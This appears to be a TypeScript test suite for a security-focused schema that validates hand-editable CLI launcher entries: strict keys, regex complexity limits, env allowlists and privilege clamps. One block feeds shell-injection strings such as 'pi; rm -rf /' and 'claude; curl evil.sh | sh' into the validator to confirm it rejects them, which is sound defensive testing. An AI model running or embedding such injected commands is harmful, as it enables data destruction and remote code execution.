Files
Codeman/test/cli-registry-schema.test.ts
T

665 lines
29 KiB
TypeScript

/**
* @fileoverview Validation rules for a `CliEntry`.
*
* `~/.codeman/clis.json` is hand-editable and selects the binaries Codeman spawns, so this
* schema is a security boundary, not a typo-catcher. Two properties carry that weight:
*
* - **Everything is `.strict()`.** An unknown key is a hard error. On a permissive schema a
* misspelled field name degrades to "field absent → the permissive default applies",
* which is the worst possible failure mode for a field like `privilegedEnvKeys`.
* - **No shell text can reach the command line.** Every literal is checked against a
* safe-word pattern at LOAD time, and a literal that fails REJECTS THE WHOLE ENTRY rather
* than being dropped — a silently dropped flag would change security-relevant behaviour
* (losing `--no-approve` is not a cosmetic difference).
*
* Port: none (pure schema).
*/
import { describe, it, expect } from 'vitest';
import { CliEntrySchema } from '../src/config/cli-registry/schema.js';
import { compileVersionRegex } from '../src/config/cli-registry/patterns.js';
import { STOCK_CLIS } from '../src/config/cli-registry/stock.js';
import type { CliEntry } from '../src/config/cli-registry/types.js';
/** A deep clone of a shipped entry, as the base for "valid except for X" cases. */
function baseEntry(id = 'pi'): Record<string, unknown> {
const found = STOCK_CLIS.find((e) => (e.id as string) === id);
if (!found) throw new Error(`no stock entry ${id}`);
return JSON.parse(JSON.stringify(found)) as Record<string, unknown>;
}
function expectRejected(mutate: (entry: Record<string, unknown>) => void, because: string): void {
const entry = baseEntry();
mutate(entry);
const result = CliEntrySchema.safeParse(entry);
expect(result.success, `expected rejection: ${because}`).toBe(false);
}
describe('customModelInjection.launchModel', () => {
it('rejects a template with characters the argv engine would have to quote', () => {
expectRejected((e) => {
const caps = e.capabilities as Record<string, unknown>;
caps.customModelInjection = { ...(caps.customModelInjection as object), launchModel: 'custom/{modelId} --yolo' };
}, 'a space in the launch-model template');
expectRejected((e) => {
const caps = e.capabilities as Record<string, unknown>;
caps.customModelInjection = { ...(caps.customModelInjection as object), launchModel: '' };
}, 'an empty launch-model template');
});
it('accepts the placeholder form the stock entries use', () => {
const entry = baseEntry();
const caps = entry.capabilities as Record<string, unknown>;
caps.customModelInjection = { ...(caps.customModelInjection as object), launchModel: 'custom/{modelId}' };
expect(CliEntrySchema.safeParse(entry).success).toBe(true);
});
});
/** Mutates the shipped deepseek configDir recipe (the one real-home-linking entry) and expects rejection. */
function expectRejectedOnDeepSeek(mutate: (recipe: Record<string, unknown>) => void, because: string): void {
const entry = baseEntry('deepseek');
const recipe = (entry.capabilities as Record<string, unknown>).customModelInjection as Record<string, unknown>;
mutate(recipe);
const result = CliEntrySchema.safeParse(entry);
expect(result.success, `expected rejection: ${because}`).toBe(false);
}
describe('configDir real-home linking (linkFromRealHome / realHomeFallback)', () => {
it('rejects a realHomeFallback that is not a single relative path segment', () => {
// The consumer joins it under the user's home, so any of these escapes that home:
// and bare `.` IS that home: linking through it would expose the whole tree
// unshielded instead of just the declared segments.
for (const bad of ['../x', '.dsh/evil', '/.dsh', '..', '.']) {
expectRejectedOnDeepSeek((r) => {
r.realHomeFallback = bad;
}, `realHomeFallback ${JSON.stringify(bad)}`);
}
});
it('accepts a shipped-style dot-prefixed segment', () => {
const entry = baseEntry('deepseek');
expect(CliEntrySchema.safeParse(entry).success).toBe(true); // ships as `.dsh`
const recipe = (entry.capabilities as Record<string, unknown>).customModelInjection as Record<string, unknown>;
recipe.realHomeFallback = '.dsh-relocated';
expect(CliEntrySchema.safeParse(entry).success).toBe(true);
});
it('requires realHomeFallback whenever linkFromRealHome is declared', () => {
expectRejectedOnDeepSeek((r) => {
delete r.realHomeFallback;
}, 'without it the consumer would have to hardcode a per-CLI home default');
});
it('rejects a linked entry that collides with fileName', () => {
// A symlink at the generated file's own name would write THROUGH into the user's real config.
expectRejectedOnDeepSeek((r) => {
r.linkFromRealHome = ['cordis.patch.yml', 'profiles'];
}, 'linkFromRealHome containing fileName');
});
it('requires linkFromRealHomeDirs to be a subset of linkFromRealHome', () => {
// types.ts documents the rule; a name absent from the linked list names nothing,
// so the create-missing-directory behaviour would silently never apply to it.
expectRejectedOnDeepSeek((r) => {
r.linkFromRealHome = ['profiles', 'settings.yaml'];
r.linkFromRealHomeDirs = ['profiles', 'sessions'];
}, 'linkFromRealHomeDirs naming an unlinked entry');
// The shipped recipe is a valid subset (deepseek: profiles and sessions are dirs
// of the three linked entries) and keeps loading.
const entry = baseEntry('deepseek');
const recipe = (entry.capabilities as Record<string, unknown>).customModelInjection as Record<string, unknown>;
expect(recipe.linkFromRealHome).toEqual(['profiles', 'sessions', 'settings.yaml']);
expect(recipe.linkFromRealHomeDirs).toEqual(['profiles', 'sessions']);
expect(CliEntrySchema.safeParse(entry).success).toBe(true);
});
});
describe('the shipped catalog', () => {
it('validates every stock entry exactly as shipped', () => {
// If this fails, the catalog cannot load at all — every other test here is downstream.
for (const entry of STOCK_CLIS) {
const result = CliEntrySchema.safeParse(entry);
expect(
result.success,
`stock entry "${entry.id as string}" failed: ${JSON.stringify(result.error?.issues)}`
).toBe(true);
}
expect(STOCK_CLIS.length).toBeGreaterThanOrEqual(9);
});
it('ships every entry with a unique id and order', () => {
const ids = STOCK_CLIS.map((e) => e.id as string);
expect(new Set(ids).size).toBe(ids.length);
const orders = STOCK_CLIS.map((e) => e.order);
expect(new Set(orders).size).toBe(orders.length);
});
});
describe('strictness', () => {
it('rejects an unknown key at the top level', () => {
expectRejected((e) => {
e.unknownField = true;
}, 'a typo must not degrade to a permissive default');
});
it('rejects an unknown key deep inside capabilities', () => {
expectRejected((e) => {
(e.capabilities as Record<string, unknown>).newSwitch = true;
}, 'strictness has to hold at every depth, not just the top');
});
it('rejects an unknown key inside discovery', () => {
expectRejected((e) => {
(e.discovery as Record<string, unknown>).probeEverything = true;
}, 'strictness has to hold at every depth');
});
});
describe('workDetect.workingLine is guarded like every other config regex', () => {
it('rejects a nested quantifier', () => {
expectRejected((e) => {
(e.capabilities as Record<string, unknown>).workDetect = { promptGlyph: '>', workingLine: '(a+)+b' };
}, 'this pattern is compiled once and then run against every accumulated PTY chunk, so catastrophic backtracking here freezes the event loop for the whole server');
});
it('rejects a source longer than compileVersionRegex() will compile', () => {
expectRejected((e) => {
(e.capabilities as Record<string, unknown>).workDetect = { promptGlyph: '>', workingLine: 'a'.repeat(201) };
}, 'the schema must not accept a pattern the runtime will then refuse to compile, or the CLI silently falls back to the Claude pattern');
});
it('rejects a pattern that is not a regex at all', () => {
expectRejected((e) => {
(e.capabilities as Record<string, unknown>).workDetect = { promptGlyph: '>', workingLine: '([unclosed' };
}, 'a broken pattern must fail at LOAD time, not inside the PTY data handler');
});
it('accepts both shipped patterns unchanged', () => {
for (const entry of STOCK_CLIS) {
const src = entry.capabilities.workDetect?.workingLine;
if (!src) continue;
expect(compileVersionRegex(src), `${entry.id} declares a workingLine the guard refuses`).not.toBeNull();
}
});
it('holds the optional watchingLine to the same guard', () => {
expectRejected((e) => {
(e.capabilities as Record<string, unknown>).workDetect = {
promptGlyph: '>',
workingLine: 'working',
watchingLine: '(a+)+b',
};
}, 'this one runs over a pane capture every time a session settles, so it can freeze the event loop the same way');
});
it('bounds how far up the screen a config file may search', () => {
// The window is the injection guard: every row it adds is another row the agent
// itself may be able to write, and the label is what silences an idle alert.
for (const lines of [0, 9, 2.5]) {
expectRejected((e) => {
(e.capabilities as Record<string, unknown>).workDetect = {
promptGlyph: '>',
workingLine: 'working',
watchingLine: 'chip (\\d+)',
watchingLines: lines,
};
}, 'a config file must not be able to widen the search to the whole pane');
}
});
it('refuses a window with no pattern to bound', () => {
expectRejected((e) => {
(e.capabilities as Record<string, unknown>).workDetect = {
promptGlyph: '>',
workingLine: 'working',
watchingLines: 3,
};
}, 'a window with nothing to search is a typo whose failure is otherwise silent');
});
it('accepts every shipped watchingLine', () => {
for (const entry of STOCK_CLIS) {
const src = entry.capabilities.workDetect?.watchingLine;
if (!src) continue;
expect(compileVersionRegex(src), `${entry.id} declares a watchingLine the guard refuses`).not.toBeNull();
}
});
it('holds the optional awaitingLine to the same guard', () => {
expectRejected((e) => {
(e.capabilities as Record<string, unknown>).workDetect = {
promptGlyph: '>',
workingLine: 'working',
awaitingLine: '(a+)+b',
};
}, 'it is tested against a pane row every time a session settles');
});
it('accepts every shipped awaitingLine', () => {
for (const entry of STOCK_CLIS) {
const src = entry.capabilities.workDetect?.awaitingLine;
if (!src) continue;
expect(compileVersionRegex(src), `${entry.id} declares an awaitingLine the guard refuses`).not.toBeNull();
}
});
it('holds the optional composerFooterLine to the same guard', () => {
// Run over the rows under the composer each time guarded input reads the pane.
for (const composerFooterLine of ['(a+)+b', 'a'.repeat(201), '([unclosed', '']) {
expectRejected((e) => {
(e.capabilities as Record<string, unknown>).workDetect = {
promptGlyph: '>',
workingLine: 'working',
composerFooterLine,
};
}, 'guarded input tests it against pane rows a clis.json override can supply');
}
});
it('accepts every shipped composerFooterLine', () => {
for (const entry of STOCK_CLIS) {
const src = entry.capabilities.workDetect?.composerFooterLine;
if (!src) continue;
expect(compileVersionRegex(src), `${entry.id} declares a composerFooterLine the guard refuses`).not.toBeNull();
}
});
it('holds the optional composerPopupLine to the same guard, and accepts the shipped one', () => {
// Run over the rows just above the composer each time guarded input reads the pane.
for (const composerPopupLine of ['(a+)+b', 'a'.repeat(201), '([unclosed', '']) {
expectRejected((e) => {
(e.capabilities as Record<string, unknown>).workDetect = {
promptGlyph: '>',
workingLine: 'working',
composerPopupLine,
};
}, 'guarded input tests it against pane rows a clis.json override can supply');
}
for (const entry of STOCK_CLIS) {
const src = entry.capabilities.workDetect?.composerPopupLine;
if (src)
expect(compileVersionRegex(src), `${entry.id} declares a composerPopupLine the guard refuses`).not.toBeNull();
}
});
it('takes only short runs of ASCII punctuation as composer trigger characters', () => {
for (const field of ['composerCommandPrefixes', 'composerCompletionSigils']) {
for (const value of ['', 'a', '/a', '/ ', '/\t', '\u00a7', '!!!!!!!!!']) {
expectRejected(
(e) => {
(e.capabilities as Record<string, unknown>).workDetect = {
promptGlyph: '>',
workingLine: 'working',
[field]: value,
};
},
`${field} ${JSON.stringify(value)} would refuse letters, spaces or an unbounded set`
);
}
const entry = baseEntry();
(entry.capabilities as Record<string, unknown>).workDetect = {
promptGlyph: '>',
workingLine: 'working',
[field]: '/!@$',
};
expect(CliEntrySchema.safeParse(entry).success, field).toBe(true);
}
});
it('holds the optional blockedLine to the same guard', () => {
// Run over the foot of a capture at every settle and on a timer while a dialog is
// up, and a clis.json override can set it.
for (const blockedLine of ['(a+)+b', 'a'.repeat(201), '([unclosed', '']) {
expectRejected(
(e) => {
(e.capabilities as Record<string, unknown>).workDetect = {
promptGlyph: '>',
workingLine: 'working',
blockedLine,
};
},
`blockedLine ${JSON.stringify(blockedLine.slice(0, 20))} must be refused at LOAD time`
);
}
});
it('bounds the blockedLine window and refuses one with no pattern', () => {
for (const blockedLines of [0, 25, 2.5]) {
expectRejected((e) => {
(e.capabilities as Record<string, unknown>).workDetect = {
promptGlyph: '>',
workingLine: 'working',
blockedLine: 'Press enter to confirm$',
blockedLines,
};
}, 'a config file must not be able to widen the search to the whole pane');
}
expectRejected((e) => {
(e.capabilities as Record<string, unknown>).workDetect = {
promptGlyph: '>',
workingLine: 'working',
blockedLines: 4,
};
}, 'a window with nothing to search is a typo whose failure is otherwise silent');
});
it('accepts a blockedLine with its window, and every shipped one', () => {
const entry = baseEntry();
(entry.capabilities as Record<string, unknown>).workDetect = {
promptGlyph: '>',
workingLine: 'working',
blockedLine: 'Press enter to confirm$',
blockedLines: 24,
};
expect(CliEntrySchema.safeParse(entry).success).toBe(true);
let shipped = 0;
for (const stock of STOCK_CLIS) {
const src = stock.capabilities.workDetect?.blockedLine;
if (!src) continue;
shipped++;
expect(compileVersionRegex(src), `${stock.id} declares a blockedLine the guard refuses`).not.toBeNull();
expect(CliEntrySchema.safeParse(JSON.parse(JSON.stringify(stock))).success).toBe(true);
}
expect(shipped).toBeGreaterThan(0);
});
});
describe('no shell text can reach the command line', () => {
it('rejects a literal carrying shell metacharacters', () => {
for (const evil of ['pi; rm -rf /', 'pi && curl evil.sh', 'pi`whoami`', 'pi $(id)', 'pi | tee', 'pi > /etc/x']) {
expectRejected(
(e) => {
const launch = e.launch as { variants: Array<{ args: unknown[] }> };
launch.variants[0].args[0] = { lit: evil };
},
`literal ${JSON.stringify(evil)} must be refused`
);
}
});
it('rejects a fixed flag VALUE carrying shell metacharacters', () => {
expectRejected((e) => {
const launch = e.launch as { variants: Array<{ args: unknown[] }> };
launch.variants[0].args.push({ flag: '--model', value: 'a`b`' });
}, 'a fixed value is a literal too');
});
it('rejects a flag that does not look like a flag', () => {
expectRejected((e) => {
const launch = e.launch as { variants: Array<{ args: unknown[] }> };
launch.variants[0].args.push({ flag: 'rm -rf /' });
}, 'a flag must match -x / --long-flag');
});
it('rejects an overlay command that is more than bare words', () => {
expectRejected((e) => {
e.overlays = { remote: { command: 'claude; curl evil.sh | sh' } };
}, 'overlay commands are one bare command plus bare flags, not an escape hatch into shell');
});
});
describe('cross-field integrity', () => {
it('rejects a valueFrom naming an undeclared param', () => {
expectRejected((e) => {
const launch = e.launch as { variants: Array<{ args: unknown[] }> };
launch.variants[0].args.push({ flag: '--model', valueFrom: 'noSuchParam' });
}, 'a dangling valueFrom silently emits nothing');
});
it('rejects a capabilityGate naming an undeclared gate', () => {
expectRejected((e) => {
const launch = e.launch as { variants: Array<{ args: unknown[] }> };
launch.variants[0].args.push({ flag: '--new', when: { capabilityGate: 'noSuchGate' } });
}, 'an unknown gate never passes, so the flag would be silently unreachable');
});
it('rejects a fallback chain whose last variant is conditional', () => {
expectRejected((e) => {
const launch = e.launch as Record<string, unknown>;
launch.chain = 'fallback';
(launch.variants as Array<Record<string, unknown>>)[0].when = { param: 'model', state: 'set' };
}, 'the terminal case of a fallback chain must be guaranteed to render');
});
it('rejects a legacyConfigAliases key naming an undeclared param', () => {
expectRejected((e) => {
(e.launch as Record<string, unknown>).legacyConfigAliases = { nope: 'resumeSessionId' };
}, 'an alias for a param that does not exist can never apply');
});
it('rejects a configSetenv reading an undeclared param', () => {
// Losing this mapping for DeepSeek would silently drop a permission clamp.
expectRejected((e) => {
(e.env as Record<string, unknown>).configSetenv = [{ name: 'DSH_PERMISSION_MODE', fromParam: 'nope' }];
}, 'exporting from a param that does not exist would export nothing, silently');
});
it('rejects a privilegedParams clamp naming an undeclared param', () => {
// The security-relevant twin of the configSetenv case above, and the sharper of the two:
// `privilegedParams[].param` is the multi-user bypass clamp's only handle on a CLI's
// privilege switch, and a wrong name there clamps NOTHING with no error anywhere.
expectRejected((e) => {
(e.capabilities as Record<string, unknown>).privilegedParams = [{ param: 'nope', clampTo: false }];
}, 'clamping a param that does not exist would silently stop clamping');
});
it('names privilegedParams in the LAUNCH-PARAM namespace, not the legacy wire one', () => {
// codex is the entry where the two names differ, so it is the one that catches a
// regression here. Naming the wire field (`dangerouslyBypassApprovals`) instead of the
// param (`bypassApprovals`) must be a load-time REJECTION, not a silent no-op — and the
// shipped entry must be on the param side of that line.
const codex = STOCK_CLIS.find((e) => (e.id as string) === 'codex');
expect(codex).toBeDefined();
expect(codex!.capabilities.privilegedParams.map((c) => c.param)).toEqual(['bypassApprovals', 'networkAccess']);
expect(codex!.launch.legacyConfigAliases?.bypassApprovals).toBe('dangerouslyBypassApprovals');
const wrong = baseEntry('codex');
(wrong.capabilities as Record<string, unknown>).privilegedParams = [
{ param: 'dangerouslyBypassApprovals', clampTo: false },
];
expect(CliEntrySchema.safeParse(wrong).success).toBe(false);
});
it('rejects a profile name this build does not implement', () => {
expectRejected((e) => {
(e.discovery as Record<string, unknown>).launcherProfile = 'no-such-profile';
}, 'an unimplemented launcher profile fails closed and the CLI looks permanently uninstalled');
expectRejected((e) => {
(e.env as Record<string, unknown>).setenvProfile = 'no-such-profile';
}, 'an unimplemented setenv profile silently skips setup the CLI needs');
});
});
describe('capabilities.launchDefaults', () => {
/** Codex with its shipped launch defaults replaced by `launchDefaults` (or with them unchanged). */
function codexWith(mutate: (entry: Record<string, unknown>) => void): boolean {
const entry = baseEntry('codex');
mutate(entry);
return CliEntrySchema.safeParse(entry).success;
}
const setDefaults = (value: unknown) => (e: Record<string, unknown>) => {
(e.capabilities as Record<string, unknown>).launchDefaults = value;
};
it('ships on codex alone, keyed by launch param', () => {
const declaring = STOCK_CLIS.filter((e) => e.capabilities.launchDefaults !== undefined).map((e) => e.id);
expect(declaring).toEqual(['codex']);
expect(codexWith(() => {})).toBe(true);
});
it('rejects a param the entry never declared', () => {
// Filled into the config object and then read by nothing: a silent no-op, like a
// privilegedParams clamp naming the wrong param.
expect(codexWith(setDefaults({ effort: 'codexReasoningEffort' }))).toBe(false);
});
it('rejects a settings key outside the closed list', () => {
// An override must not be able to pour an arbitrary setting onto a command line.
expect(codexWith(setDefaults({ model: 'claudeModel' }))).toBe(false);
expect(codexWith(setDefaults({ model: 'codexmodel' }))).toBe(false);
});
it('rejects an empty map', () => {
expect(codexWith(setDefaults({}))).toBe(false);
});
it('refuses an entry with no legacyConfigField to fill', () => {
// Without one the params are read off the request body itself, where `model` is
// claude's per-session field, not this CLI's.
expect(
codexWith((e) => {
delete (e.launch as Record<string, unknown>).legacyConfigField;
})
).toBe(false);
// The same entry without launch defaults is fine: the refusal is about the pair.
expect(
codexWith((e) => {
delete (e.launch as Record<string, unknown>).legacyConfigField;
delete (e.capabilities as Record<string, unknown>).launchDefaults;
})
).toBe(true);
});
});
describe('the env allowlist cannot be widened by config', () => {
it('requires a prefix to end with an underscore', () => {
expectRejected((e) => {
(e.env as Record<string, unknown>).allowedPrefixes = ['CLAUDE'];
}, 'a prefix without a trailing _ matches more namespaces than it names');
});
it('rejects a prefix short enough to swallow unrelated namespaces', () => {
// The anti-widening case: `P_` would admit PATH-adjacent and every other P namespace at
// once, and the allowlist is ONE GLOBAL LIST applied to every mode.
expectRejected((e) => {
(e.env as Record<string, unknown>).allowedPrefixes = ['P_'];
}, 'a 2-char prefix is too broad for a global allowlist');
});
it('rejects an env NAME that is not UPPER_SNAKE_CASE', () => {
expectRejected((e) => {
(e.capabilities as Record<string, unknown>).privilegedEnvKeys = ['dsh-permission-mode'];
}, 'env names are UPPER_SNAKE_CASE; anything else would never match a real key');
});
});
describe('identity', () => {
it('rejects an id that is not a lowercase kebab token', () => {
for (const bad of ['Pi', 'my cli', '1pi', 'pi/../x', '']) {
const entry = baseEntry();
entry.id = bad;
expect(CliEntrySchema.safeParse(entry).success, `id ${JSON.stringify(bad)} must be refused`).toBe(false);
}
});
it('rejects an accent that is not a 6-digit hex colour', () => {
expectRejected((e) => {
e.accent = 'red';
}, 'the accent is interpolated into CSS');
});
it('accepts a well-formed custom entry built from a stock one', () => {
const entry = baseEntry();
entry.id = 'my-cli';
entry.label = 'My CLI';
entry.stock = false;
expect(CliEntrySchema.safeParse(entry).success).toBe(true);
});
});
describe('capability shapes', () => {
it('accepts only the three hook states', () => {
for (const value of ['none', 'always', 'supervised']) {
const entry = baseEntry();
(entry.capabilities as Record<string, unknown>).hooks = value;
expect(CliEntrySchema.safeParse(entry).success, `hooks=${value}`).toBe(true);
}
// A boolean was the old shape and must NOT quietly work — `true` would have to mean
// 'always', which is wrong for a supervised CLI.
expectRejected((e) => {
(e.capabilities as Record<string, unknown>).hooks = true;
}, 'hooks is a tri-state, not a boolean');
});
it('accepts only known transcript readers', () => {
const entry = baseEntry() as unknown as CliEntry;
for (const value of ['claude-jsonl', 'codex-rollout', 'deepseek-zstd', 'none']) {
const candidate = baseEntry();
(candidate.capabilities as Record<string, unknown>).transcript = value;
expect(CliEntrySchema.safeParse(candidate).success, `transcript=${value}`).toBe(true);
}
expect(entry.capabilities.transcript).toBeDefined();
expectRejected((e) => {
(e.capabilities as Record<string, unknown>).transcript = 'some-future-format';
}, 'a transcript reader that does not exist would silently read nothing');
});
it('takes transcriptPageKeys as an optional boolean, absent meaning no paging', () => {
for (const value of [true, false]) {
const entry = baseEntry();
(entry.capabilities as Record<string, unknown>).transcriptPageKeys = value;
expect(CliEntrySchema.safeParse(entry).success, `transcriptPageKeys=${value}`).toBe(true);
}
const absent = baseEntry();
delete (absent.capabilities as Record<string, unknown>).transcriptPageKeys;
expect(CliEntrySchema.safeParse(absent).success).toBe(true);
expectRejected((e) => {
(e.capabilities as Record<string, unknown>).transcriptPageKeys = 'yes';
}, 'transcriptPageKeys is a boolean');
});
it("takes keyboardHold as an optional 'inline', absent meaning the keyboard resizes", () => {
const inline = baseEntry();
(inline.capabilities as Record<string, unknown>).keyboardHold = 'inline';
expect(CliEntrySchema.safeParse(inline).success).toBe(true);
const absent = baseEntry();
delete (absent.capabilities as Record<string, unknown>).keyboardHold;
expect(CliEntrySchema.safeParse(absent).success).toBe(true);
for (const value of [true, 'fullscreen', '']) {
expectRejected(
(e) => {
(e.capabilities as Record<string, unknown>).keyboardHold = value;
},
`keyboardHold=${JSON.stringify(value)} names no renderer kind`
);
}
});
it('declares keyboardHold for exactly the inline renderer measured losing lines on a height change', () => {
// Claude Code 2.1.306's inline renderer was measured dropping transcript lines from
// tmux on keyboard-driven height changes; every other stock entry resizes.
const holding = STOCK_CLIS.filter((e) => e.capabilities.keyboardHold === 'inline').map((e) => e.id as string);
expect(holding).toEqual(['claude']);
});
it('declares which CLIs get the wheel forwarded, and whether a version gates it', () => {
// Claude forwards from 2.1.187 (fullscreen only); tracked Codex and Copilot
// forward without a version gate, and so does pi. Unmeasured entries stay 'never'.
const mode = (id: string) => STOCK_CLIS.find((e) => (e.id as string) === id)?.capabilities.wheelForward;
expect(mode('copilot')).toEqual({ mode: 'always' });
expect(mode('claude')).toEqual({ mode: 'version-gated', minVersion: '2.1.187' });
const forwarding = STOCK_CLIS.filter((e) => e.capabilities.wheelForward.mode !== 'never').map(
(e) => e.id as string
);
expect(forwarding.sort()).toEqual(['claude', 'codex', 'copilot', 'pi']);
expect(CliEntrySchema.safeParse(baseEntry('copilot')).success).toBe(true);
});
it('declares transcriptPageKeys for exactly the CLIs measured to page on PageUp/PageDown', () => {
// claude (repaint mode), codex, opencode and copilot (all on the alternate screen) were
// measured paging their own transcript on PageUp/PageDown; no other stock entry has been.
// pi pages too when fullscreen, and stays out on purpose: in `tuiMode: regular` the same keys
// move the caret of a multi-line draft.
const paging = STOCK_CLIS.filter((e) => e.capabilities.transcriptPageKeys === true).map((e) => e.id as string);
expect(paging.sort()).toEqual(['claude', 'codex', 'copilot', 'opencode']);
});
});
describe('observed mouse-tracking wheel policy', () => {
it('advertises and validates tracked Codex forwarding without a fictitious minimum version', () => {
const codex = STOCK_CLIS.find((e) => e.id === 'codex')!;
expect(codex.capabilities.wheelForward).toEqual({ mode: 'always' });
expect(CliEntrySchema.safeParse(codex).success).toBe(true);
expect(codex.capabilities.transcriptPageKeys).toBe(true);
});
});